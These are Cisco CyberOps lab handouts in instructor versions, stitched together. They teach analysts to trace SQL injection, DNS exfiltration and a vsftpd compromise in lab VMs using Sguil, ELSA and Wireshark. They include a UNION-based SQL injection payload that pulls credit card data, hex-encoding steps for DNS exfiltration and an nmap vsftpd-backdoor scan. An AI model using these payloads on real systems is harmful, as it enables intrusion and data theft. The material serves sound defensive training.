For each one of the tools listed above, describe the function, importance, and placement in the security
analyst workflow.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Sphinx is an open source search engine and is used by ELSA to provide search capabilities.
Pulledpork is a Snort rule manage system. It facilitates Snort rules updating. Outdated Snort rules makes
the entire system useless.
OSSEC is a system used to normalize and concentrate local system logs. When deployed throughout the
organization, OSSEC allows an analyst to have a clear picture of what is happening in the systems.
Squert is a visual tool that attempts to provide additional context to events through the use of metadata,
time series representations, and weighted and logically grouped result sets.
Part 4: Reflection
Log normalization is important and depends on the deployed environment.
Popular tools include their own normalization features, but log normalization can also be done manually.
When manually normalizing and preparing log files, double-check scripts to ensure the desired result is
achieved. A poorly written normalization script may modify the data, directly impacting the analyst’s work.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 12 www.netacad.com
Lab – Regular Expression Tutorial (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will learn how to use regular expressions to search for desired strings of information.
Background / Scenario
A regular expression (regex) is a pattern of symbols that describes data to be matched in a query or other
operation. Regular expressions are constructed similarly to arithmetic expressions, by using various operators
to combine smaller expressions. There are two major standards of regular expression, POSIX and Perl.
In this lab, you will use an online tutorial to explore regular expressions. You will also describe the information
that matches given regular expressions.
Required Resources
CyberOps Workstation VM
Internet connection
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Lab – Regular Expression Tutorial
b. After you have finished with the tutorial, record the function of some of the metacharacters that are used
in regular expressions.
Metacharacters Description
\. Period
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Lab – Regular Expression Tutorial
The matching text from the log file is highlighted. Use the scroll wheel on the mouse or use the j or k keys
on your keyboard to locate the highlighted patterns.
e. For the next expression, enter /[A-Z]{2,4} at the colon (:) prompt.
Note: The colon is replaced by / as you type the expression.
f. Enter the rest of the regular expressions from the table in Step 2. Make sure all the expressions are
preceded with a forward slash (/). Continue until you have verified your answers. Press q to exit the
logstash-tutorial.log file.
g. Close the terminal and shut down the VM.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab – Extract an Executable from a PCAP (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Prepare the Virtual Environment
Part 2: Analyze Pre-Captured Logs and Traffic Captures
Background / Scenario
Looking at logs is very important but it is also important to understand how network transactions happen at
the packet level.
In this lab, you will analyze the traffic in a previously captured pcap file and extract an executable from the file.
Required Resources
CyberOps Workstation VM
Internet connection
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
d. Packets one through three are the TCP handshake. The fourth packet shows the request for the malware
file. Confirming what was already known, the request was done over HTTP, sent as a GET request.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
e. Because HTTP runs over TCP, it is possible to use Wireshark’s Follow TCP Stream feature to rebuild
the TCP transaction. Select the first TCP packet in the capture, a SYN packet. Right-click it and choose
Follow TCP Stream.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
f. Wireshark displays another window containing the details for the entire selected TCP flow.
What are all those symbols shown in the Follow TCP Stream window? Are they connection noise? Data?
Explain.
____________________________________________________________________________________
____________________________________________________________________________________
The symbols are the actual contents of the downloaded file. Because it is binary file, Wireshark does not
know how to represent it. The displayed symbols are Wireshark’s best guess at making sense of the
binary data while decoding it as text.
There are a few readable words spread among the symbols. Why are they there?
____________________________________________________________________________________
____________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
Those are strings contained in the executable code. Usually, these words are part of messages provided
by the program to the user while it runs. While more of an art than a science, a skilled analyst can extract
valuable information by reading through these fragments.
Challenge Question: Despite the W32.Nimda.Amm.exe name, this executable is not the famous worm.
For security reasons, this is another executable file that was renamed as W32.Nimda.Amm.exe. Using
the word fragments displayed by Wireshark’s Follow TCP Stream window, can you tell what executable
this really is?
____________________________________________________________________________________
____________________________________________________________________________________
Scrolling all the way down on that window reveals that this is the Microsoft Windows cmd.exe file.
g. Click Close in the Follow TCP Stream window to return to the Wireshark nimda.download.pcap file.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
a. In that fourth packet in the nimda.download.pcap file, notice that the HTTP GET request was generated
from 209.165.200.235 to 209.165.202.133. The Info column also shows this is in fact the GET request for
the file.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
b. With the GET request packet selected, navigate to File > Export Objects > HTTP, from Wireshark’s
menu.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
c. Wireshark will display all HTTP objects present in the TCP flow that contains the GET request. In this
case, only the W32.Nimda.Amm.exe file is present in the capture. It will take a few seconds before the
file is displayed.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 9 www.netacad.com
Lab – Extract an Executable from a PCAP
d. In the HTTP object list window, select the W32.Nimda.Amm.exe file and click Save As at the bottom of
the screen.
e. Click the left arrow until you see the Home button. Click Home and then click the analyst folder (not the
analyst tab). Save the file there.
f. Return to your terminal window and ensure the file was saved. Change directory to the /home/analyst
folder and list the files in the folder using the ls -l command.
[analyst@secOps pcaps]$ cd /home/analyst
[analyst@secOps ~]$ ls –l
total 364
drwxr-xr-x 2 analyst analyst 4096 Sep 26 2014 Desktop
drwx------ 3 analyst analyst 4096 May 25 11:16 Downloads
drwxr-xr-x 2 analyst analyst 4096 May 22 08:39 extra
drwxr-xr-x 8 analyst analyst 4096 Jun 22 11:38 lab.support.files
drwxr-xr-x 2 analyst analyst 4096 Mar 3 15:56 second_drive
-rw-r--r-- 1 analyst analyst 345088 Jun 22 15:12 W32.Nimda.Amm.exe
[analyst@secOps ~]$
Was the file saved? ____________________________________ Yes
g. The file command gives information on the file type. Use the file command to learn a little more about the
malware, as show below:
[analyst@secOps ~]$ file W32.Nimda.Amm.exe
W32.Nimda.Amm.exe: PE32+ executable (console) x86-64, for MS Windows
[analyst@secOps ~]$
As seen above, W32.Nimda.Amm.exe is indeed a Windows executable file.
In the malware analysis process, what would be a probable next step for a security analyst?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The goal is to identify the type of malware and analyze its behavior. Therefore, the malware file should be
moved to a controlled environment and execute it to watch its behavior. Malware analysis environments
often rely on virtual machines and are sandboxed to avoid damage to non-test systems. Such
environments usually contain tools that facilitate monitoring of the malware execution; resources usage,
network connections and operating system changes are common monitored aspects.
There are also a few Internet-based malware analysis tools. VirusTotal (virustotal.com) is one example.
Analysts upload malware to VirusTotal, which in turn, executes the malicious code. After execution and a
number of other checks, VirusTotal returns a report to the analyst.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 9 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will review logs during an exploitation of documented HTTP and DNS vulnerabilities.
Part 1: Prepare the Virtual Environment
Part 2: Investigate an SQL Injection Attack
Part 3: Analyzing an Data Exfiltration
Background / Scenario
MySQL is a relational database management system (RDBMS) that uses the structured query language
(SQL) to add, access, and manage content in a database. MySQL is a popular RDBMS used by numerous
web applications. Unfortunately, a web hacking technique called SQL injection can be used by an attacker to
execute malicious SQL statements in an attempt to control a web application's database server.
Domain name servers (DNS) are directories of domain names, and they translate the domain names into IP
addresses. This service can be used to exfiltrate data.
In this lab, you will investigate a possible SQL injection to access the SQL database on the server. You will
also review the logs to investigate a possible data exfiltration and the method of exfiltration.
Required Resources
Host computer with at least 3 GB of RAM and 10 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
One virtual machine: Alternate Security Onion VM
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
d. Search for alerts related to ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT.
Select the alerts that start with 5. These alerts are related to seconion-eth1-1, and they are probably the
most recent alerts. Select the alert with ID 5.5836.
e. Right-click the number under the CNT heading for the selected alert to view all the related alerts. Select
View Correlated Events.
f. Right-click an Alert ID in the results. Select Transcript to view the details for this alert.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
g. In this window, you can see that the GET statement using the UNION operator was used to access the
credit card information. If you do not see this information, try right-clicking another of the correlated
events.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
h. You can also determine the information retrieved by the attacker. Click Search and enter username in
the Find: field. Use the Find button to locate the information that was captured. The same credit card
information may be displayed differently than the figure below.
Compare the credit card information from the transcript window and the content extracted by the SQL
injection attack. What is your conclusion?
____________________________________________________________________________________
The credit card information is the same because the transcript shows all the content transmitted between
the source and destination.
i. Close the windows when finished.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
j. Return to the Sguil window, right-click the same Alert ID that contains the exfiltrated credit card
information and select Wireshark.
l. The GET request and the exfiltrated data are displayed in the TCP stream window. Your output may be
different than the figure below, but it should contain the same credit card information as your transcript
above.
m. At this time, you could save the Wireshark data by clicking Save As in the TCP stream window.
Alternatively, you can also save the Wireshark pcap file. You can also document the source and
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
destination IP addresses and ports, time of incident, and protocol used for further analysis by a Tier 2
analyst.
n. Close or minimize Wireshark and Squil.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
f. This opens detailed information of the alert. This information is related the successful SQL injection.
Notice the union query that was used during the attack. Click Info on the first entry.
g. Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit
if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.
h. The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
You can also search for the username information. Type Ctrl + F to open Find… dialog box. Enter
username in the field. You should be able to locate the credit card information that were displayed during
the SQL injection exploit.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
b. From the ELSA queries on the left side bar, click DNS > Bottom to the left of Requests.
c. Click in the From field and select 11/11/17 as the date. Click Submit Query. This returns records for all
the DNS requests sorted so that the least frequent appear first.
d. Scroll down in the results to see a few queries for ns.example.com with a hex string as the first part of
the subdomain name. Typically, domain names are not 63-byte hexadecimal expressions. This could
signal malicious activity because users probably cannot remember a long subdomain name with random
letters and numbers.
e. Click one of the links and copy the 63-byte string prepended to ns.example.com.
f. Open a terminal window and use the echo and xxd commands to revert the hex string. The -n option
prevents the output of the trailing newline.
analyst@SecOnion:~/Desktop$ echo -n
"434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053" | xxd -r -p
CONFIDENTIAL DOCUMENT
DO NOT Sanalyst@SecOnion:~/Desktop$
If you continue to revert the hex strings, what is the result?
____________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
____________________________________________________________________________________
The result is:
CONFIDENTIAL DOCUMENT
DO NOT SHARE
This document contains information about the last security breach.
This was the content of the document that was exfiltrated using DNS.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 10 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Topology
Objectives
In this lab, you will review logs during an exploitation of documented HTTP and DNS vulnerabilities.
Part 1: Prepare the Virtual Environment
Part 2: Investigate an SQL Injection Attack
Part 3: Data Exfiltration Using DNS
Background / Scenario
MySQL is a popular database used by numerous web applications. Unfortunately, SQL injection is a common
web hacking technique. It is a code injection technique where an attacker executes malicious SQL statements
to control a web application's database server.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
Domain name servers (DNS) are directories of domain names, and they translate the domain names into IP
addresses. This service can be used to exfiltrate data.
In this lab, you will perform an SQL injection to access the SQL database on the server. You will also use the
DNS service to facilitate data exfiltration.
Instructor Note: If students are not able to populate Squil and ELSA with the necessary Alert logs, it may be
necessary to have them uninstall the VMs deleting all files from Virtual Box. Then reimport the VMs.
Required Resources
Host computer with at least 8GB of RAM and 40GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
Four virtual machines:
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
c. Start the CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines by selecting
each one of them and clicking the Start button. The Start button is located in VirtualBox’s Toolbar.
d. Log into the CyberOps Workstation virtual machine, open a terminal and configure the network by
executing the configure_as_static.sh script.
Because the script requires super-user privileges, provide the password for the user analyst.
analyst@secOps ~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] password for analyst:
Configuring the NIC as:
IP: 192.168.0.11/24
GW: 192.168.0.1
IP Configuration successful.
[analyst@secOps ~]$
e. Log into the Security Onion VM. Right-click the Desktop > Open Terminal Here. Enter sudo service
nsm status command to verify that all the servers and sensors are ready. This process could take a few
moments. Repeat the command as necessary until all the status for all the servers and sensors are OK
before moving onto the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
* sguil server [ OK ]
Status: HIDS
* ossec_agent (sguil) [ OK ]
Status: Bro
Name Type Host Status Pid Started
manager manager localhost running 5577 26 Jun 10:04:27
proxy proxy localhost running 5772 26 Jun 10:04:29
seconion-eth0-1 worker localhost running 6245 26 Jun 10:04:33
seconion-eth1-1 worker localhost running 6247 26 Jun 10:04:33
seconion-eth2-1 worker localhost running 6246 26 Jun 10:04:33
Status: seconion-eth0
* netsniff-ng (full packet data) [ OK ]
* pcap_agent (sguil) [ OK ]
* snort_agent-1 (sguil) [ OK ]
* snort-1 (alert data) [ OK ]
* barnyard2-1 (spooler, unified2 format) [ OK ]
<output omitted>
b. In the Kali VM, click the Firefox ESR icon ( ) to open a new web browser.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
d. Click OWASP Top 10 > A1 – Injection > SQLi – Extract Data > User Info.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
f. In the Username field, double-click the 20 and change it to 100 so you can view the longer string as you
enter the query into Name field. Close the Inspect Element when finished.
g. Enter ' union select ccid,ccnumber,ccv,expiration,null from credit_cards -- in the Name field. Click
View Account Details to extract the credit card information from the credit_cards table in owasp10 mysql
database.
Note: There is a single quote ( ' ), followed by a space at the beginning of the string. There is a space
after -- at the end of the string.
h. Scroll down the page for the results. The result indicates that you have successfully extracted the credit
card information from the database by using SQL injection. This information should only be available to
authorized users.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
e. Right-click the number under the CNT heading for the selected alert to view all the related alerts. Select
View Correlated Events.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
f. Right-click an Alert ID in the results. Select Transcript to view the details for this alert.
Note: If you mistyped the user information in the previous step, you should use the last alert in the list.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
g. In this window, you can see that the GET statement using the UNION operator was used to access the
credit card information. If you do not see this information, try right-clicking another of the correlated
events.
Note: If you entered the injection script more than once because of a typo or some other reason, it may
be helpful to sort the Date/Time column and view the most recent alert.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
h. You can also determine the information retrieved by the attacker. Click Search and enter username in
the Find: field. Use the Find button to locate the information that was captured. The same credit card
information may be displayed differently than the figure below.
Note: If you are unable to locate the stolen credit card information, you may need to view the transcript in
another alert.
Compare the credit card information from the transcript window and the content extracted by the SQL
injection attack. What is your conclusion?
____________________________________________________________________________________
The credit card information is the same because the transcript shows all the content transmitted between
the source and destination.
i. Close the windows when finished.
j. Return to the Sguil window, right-click the same Alert ID that contains the exfiltrated credit card
information and select Wireshark.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
l. The GET request and the exfiltrated data are displayed in the TCP stream window. Your output may be
different than the figure below, but it should contain the same credit card information as your transcript
above.
m. At this time, you could save the Wireshark data by clicking Save As in the TCP stream window. You can
also save the Wireshark pcap file. You can also document the source and destination IP addresses and
ports, time of incident, and protocol used for further analysis by a Tier 2 analyst.
n. Close or minimize Wireshark and Squil.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
a. While in the Security Onion VM, start ELSA from the Desktop. If you receive the message "Your
connection is not private", click ADVANCED to continue.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
e. Click Info on the last entry. This information is related the successful SQL injection. Notice the union
query that was used during the attack.
f. Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit
if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.
g. The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
You can also search for the username information. Type Ctrl + F to open Find… dialog box. Enter
username in the field. You should be able to locate the credit card information that were displayed during
the SQL injection exploit.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
b. Display the content of the confidential.txt file using the more command.
c. The xxd command is used to create a hexdump or convert a hexdump back to binary. To transform the
content of confidential.txt into 60-byte long hex strings and save it to confidential.hex, use the
command xxd -p confidential.txt > confidential.hex.
The option -p is used to format the output in Postscript format and > is to redirect the output to
confidential.hex.
Note: Use the xxd man page to learn more about all the available options for the xxd command.
[analyst@secOps lab.support.files]$ xxd -p confidential.txt >
confidential.hex
d. Verify the content of confidential.hex.
[analyst@secOps lab.support.files]$ cat confidential.hex
434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053
484152450a5468697320646f63756d656e7420636f6e7461696e7320696e
666f726d6174696f6e2061626f757420746865206c617374207365637572
697479206272656163682e0a
e. Verify that CyberOps Workstation has been configured to use the local DNS resolver at 209.165.200.235.
Enter cat /etc/resolv.conf at the prompt.
[analyst@secOps lab.support.files]$ cat /etc/resolv.conf
# Generated by resolvconf
nameserver 8.8.4.4
nameserver 209.165.200.235
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 13 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
;; ANSWER SECTION:
;; AUTHORITY SECTION:
example.com. 604800 IN SOA ns.example. root.example.com. 2 604800 86400
2419200 604800
;; ADDITIONAL SECTION:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 14 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 15 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
c. Click one of the links and copy the 63-byte string prepended to ns.example.com.
d. Open a terminal window and use the echo and xxd commands to revert the hex string. The -n option
prevents the output of the trailing newline.
analyst@SecOnion:~/Desktop$ echo -n
"434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053" | xxd -r -p
CONFIDENTIAL DOCUMENT
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 16 of 17 www.netacad.com
Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
DO NOT Sanalyst@SecOnion:~/Desktop$
If you continue to revert the hex strings, what is the result?
____________________________________________________________________________________
____________________________________________________________________________________
CONFIDENTIAL DOCUMENT
DO NOT SHARE
This document contains information about the last security breach.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 17 of 17 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple (Instructor
Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will review logs during an exploitation of a documented vulnerability to determine the
compromised hosts and file.
Part 1: Prepare the Virtual Environment
Part 2: Review the Logs
Background / Scenario
The 5-tuple is used by IT administrators to identify requirements for creating an operational and secure
network environment. The components of the 5-tuple include a source IP address and port number,
destination IP address and port number, and the protocol in use.
In this lab, you will also review the logs to identify the compromised hosts and the content of the compromised
file.
Required Resources
Host computer with at least 3 GB of RAM and 10 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
One virtual machine: Alternate Security Onion VM
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. Select the returned root message that is associated with Sensor seconion-eth1-1 for further analysis. In
the figure below, Alert ID 5.5846 and its correlated event are used.
d. Right-click the number under the CNT heading to select View Correlated Events.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
e. In the new tab, right-click the Alert ID for one of the GPL ATTACK_RESPONSE id check returned root
alerts and select Transcript. The Alert ID 5.5848 is used in this example.
f. Review the transcripts for all the alerts. The latest alert in the tab is likely to display the transactions
between the threat actor and the target during the attack.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
b. To view all packets assembled in a TCP conversation, right-click any packet and select Follow TCP
Stream.
What did you observe? What do the text colors red and blue indicate?
____________________________________________________________________________________
____________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
The TCP stream shows the transaction between the threat actor displayed in red text and the target in
blue text. The information from the TCP stream is the same as in the transcript.
c. Exit the TCP stream window. Close Wireshark when you are done reviewing the information provided by
Wireshark.
b. Change the date in the From field to the date before the date displayed in Sguil. Click Submit Query.
c. Click bro_notice.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
d. The result indicates that 209.165.201.17 was performing a port scan on 209.165.200.235. The attacker
probably found vulnerabilities on 209.165.200.235 to gain access.
e. If an attacker has compromised 209.165.200.235, you want to determine the exploit that was used and
what was accessed by the attacker.
b. Right-click the number under the CNT heading and select View Correlated Events to view all the related
events. Select the Alert ID that starts with 5. This alert gathered the information from sensor on seconion-
eth1-1 interface.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. In the new tab with all the correlated events, right-click the Alert ID and select Transcript to view each
alert in more detail. The latest alert is likely to display the TCP transmission between the attacker and
victim.
d. You can also right-click the Alert ID and select Wireshark to review and save the pcap file and TCP
stream.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Which file was transferred via FTP to 209.165.200.235? Whose account was used to transfer the file?
____________________________________________________________________________________
The file confidential.txt was transferred by the user analyst.
d. Click info to view the transactions in the last record. The reply_msg field indicates that this is the last
entry for the transfer of the confidential.txt file. Click Plugin > getPcap. Enter username analyst and
password cyberops when prompted. Click Submit if necessary.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.
e. To determine the content of the file that was compromised, open ELSA by double clicking the icon on the
Desktop to open a new tab and perform a new search.
f. Expand FTP and click FTP Data.
g. Change the date in the From field as necessary to include the time period of interest, and click Submit
Query.
h. Click one of the Info links and select getPcap from the dropdown menu to determine the content of the
stolen file.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
i. The result displays the content of the file named confidential.txt that was transferred to the FTP server.
Step 6: Clean up
Shut down the VM when finished.
Reflection
In this lab, you have reviewed the logs as a cybersecurity analyst. Now summarize your findings.
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
From the Sguil and ELSA logs, it was determined that an attacker at 209.165.201.17 exploited the vsftpd
vulnerability to gain root access to 209.165.200.235. By using root access gained from the attack, the attacker
had added a new root user myroot for future root access. The attacker compromised the user analyst to gain
to access an internal workstation, 192.168.0.11. By using the analyst account, the attacker was able to gain
access to the file named confidential.txt and transfer the file using FTP to 209.165.200.235, where the
attacker has remote access to retrieve the file.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 10 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple (Instructor
Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Topology
ma
Objectives
In this lab, you will review logs during an exploitation of a documented vulnerability to determine the
compromised hosts and file.
Part 1: Prepare the Virtual Environment
Part 2: Reconnaissance
Part 3: Exploitation
Part 4: Infiltration
Part 5: Review the Logs
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
Background / Scenario
The 5-tuple is used by IT administrators to identify requirements for creating an operational and secure
network environment. The components of the 5-tuple include a source IP address and port number,
destination IP address and port number, and the protocol in use.
In this lab, you will exploit a vulnerable server using known exploits. You will also review the logs to determine
the compromised hosts and file.
Required Resources
Host computer with at least 8 GB of RAM and 35 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
Four virtual machines:
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. Launch and log into CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines.
d. In the CyberOps Workstation VM, open a terminal and configure the network by executing the
configure_as_static.sh script.
Because the script requires super-user privileges, provide the password for the user analyst.
[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] password for analyst:
Configuring the NIC as:
IP: 192.168.0.11/24
GW: 192.168.0.1
IP Configuration successful.
[analyst@secOps ~]$
e. In the Security Onion VM, right-click the Desktop > Open Terminal Here. Enter the sudo service nsm
status command to verify that all the servers and sensors are ready. This process could take a few
moments. If some services report FAIL, repeat the command as necessary until all the statuses are OK
before moving on to the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
* sguil server [ OK ]
Status: HIDS
* ossec_agent (sguil) [ OK ]
Status: Bro
Name Type Host Status Pid Started
manager manager localhost running 5577 26 Jun 10:04:27
proxy proxy localhost running 5772 26 Jun 10:04:29
seconion-eth0-1 worker localhost running 6245 26 Jun 10:04:33
seconion-eth1-1 worker localhost running 6247 26 Jun 10:04:33
seconion-eth2-1 worker localhost running 6246 26 Jun 10:04:33
Status: seconion-eth0
* netsniff-ng (full packet data) [ OK ]
* pcap_agent (sguil) [ OK ]
* snort_agent-1 (sguil) [ OK ]
* snort-1 (alert data) [ OK ]
* barnyard2-1 (spooler, unified2 format) [ OK ]
<output omitted>
Part 2: Reconnaissance
In this part, you will use nmap to determine if the Metasploitable VM has a vulnerability associated with
vsftpd version 2.3.4.
a. In the Security Onion VM, enter date to display the date and time.
analyst@SecOnion:~/Desktop$ date
Record your date and time.
____________________________________________________________________________________
Answers will vary.
b. In the Kali VM, right-click the Desktop and select Open Terminal.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 20 www.netacad.com
Lab – Isolated Compromised Host Using 5-Tuple
c. Using nmap options, you will use a script to test for an FTP vulnerability on the Metasploitable VM at
209.165.200.235. Enter the following command:
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 –-reason >
ftpd.txt
The results are redirected and saved to the text file ftpd.txt. This process will take a few moments.
d. When the prompt returns, open the text file containing the nmap results.
root@kali:~# cat ftpd.txt
The result lists the vsftpd vulnerability and other open ports that are detected by nmap on the
Metasploitable VM. In this lab, you will exploit the vulnerability with port 21.
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-11 11:34 EDT
